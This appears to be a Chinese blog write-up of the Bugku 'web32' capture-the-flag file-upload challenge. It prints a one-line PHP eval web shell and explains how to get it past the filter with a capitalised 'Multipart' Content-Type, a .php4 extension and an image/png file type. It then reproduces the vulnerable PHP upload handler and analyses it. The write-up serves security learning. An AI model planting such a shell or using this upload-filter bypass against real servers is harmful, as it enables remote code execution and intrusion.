【bugku】web32 文件上传

题目

题目进去后,是一个上传界面,题目也只提示了文件上传,就是考传shell。
然后做了一天,都没做出来,发现自己真的是太菜了!bugku也是刚开始更题,完全没有这道题的writeup,整个人都裂开。最后求助了一下大佬,才做出来的,到这里记录一下。
先放放一句话:

<script language=php>eval($_POST['cmd']);</script>

跟普通的一句话没什么区别,但有一点非常奇妙的一点,它需要将这条头部Content-Type: multipart/form-data;中的multipart改成Multipart,即Content-Type: Multipart/form-data;,再将上传文件的后缀改成php4,最后再改改Content-Type: image/png,就能够成功上传文件。很奇妙是吧,是挺奇妙的,网上也找不到为什么(说白了就是菜)。如果有大佬知道为什么请务必教教小弟!!!
在这里插入图片描述
最后我用的蚁剑来连接,flag在根目录下。
——————————————————————————————————————————————————
后来有大佬教了我做事,说都上了马了自己不会扒来看嘛,哇我真的是蠢,这都没想到,直接血的教训记了下来,并扒了源码分析:

<html>
<body>
<?php 
$flag = "flag{test}"
?>
<form action="index.php" method="post" enctype="multipart/form-data">
My name is margin,give me a image file not a php<br>
<br>
<input type="file" name="file" id="file" /> 
<input type="submit" name="submit" value="Submit" />
</form>
<?php
function global_filter(){
 $type =  $_SERVER["CONTENT_TYPE"];
 if (strpos($type,"multipart/form-data") !== False){
  $file_ext =  substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
        $file_ext = strtolower($file_ext);
  if (stripos($file_ext,"php") !== False){
   die("Invalid File<br />");
  }
 }
}
?>


<?php

global_filter();
if ((stripos($_FILES["file"]["type"],'image')!== False) && ($_FILES["file"]["size"] < 10*1024*1024)){
 if ($_FILES["file"]["error"] == 0){
  $file_ext =  substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
        $file_ext = strtolower($file_ext);
        $allowexts = array('jpg','gif','jpeg','bmp','php4');
        if(!in_array($file_ext,$allowexts)){
            die("give me a image file not a php");
        }
  $_FILES["file"]["name"]="bugku".date('dHis')."_".rand(1000,9999).".".$file_ext;

     if (file_exists("upload/" . $_FILES["file"]["name"])){
      echo $_FILES["file"]["name"] . " already exists. <br />";
     }
     else{
      if (!file_exists('./upload/')){
       mkdir ("./upload/");
                system("chmod 777 /var/www/html/upload");
      }
      move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]);
                echo "Upload Success<br>";
                $filepath = "upload/" . $_FILES["file"]["name"];
        echo "Stored in: " ."< a href='" . $filepath . "' target='_blank'>" . $filepath . "<br />";
     }
 }
}
else{
 if($_FILES["file"]["size"] > 0){
  echo "You was catched! :) <br />";
 }
}
?>
</body>
</html>

先看看这部分

<?php
function global_filter(){
 $type =  $_SERVER["CONTENT_TYPE"];
 if (strpos($type,"multipart/form-data") !== False){
  $file_ext =  substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
        $file_ext = strtolower($file_ext);
  if (stripos($file_ext,"php") !== False){
   die("Invalid File<br />");
  }
 }
}
?>

这里判断multipart/form-data用了strpos,该函数区分大小写,所以用Multipart/form-data的理由找到了,这样就能绕过里面的if,检测php就没用了,再看下一部分:

if ((stripos($_FILES["file"]["type"],'image')!== False) && ($_FILES["file"]["size"] < 10*1024*1024)){
 if ($_FILES["file"]["error"] == 0){
  $file_ext =  substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1);
        $file_ext = strtolower($file_ext);
        $allowexts = array('jpg','gif','jpeg','bmp','php4');
        if(!in_array($file_ext,$allowexts)){
            die("give me a image file not a php");
        }

这里定了个白名单,只漏了个php4出来,只能用php4的原因也找到了,我只能说这道题真奇妙。

评论 17
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值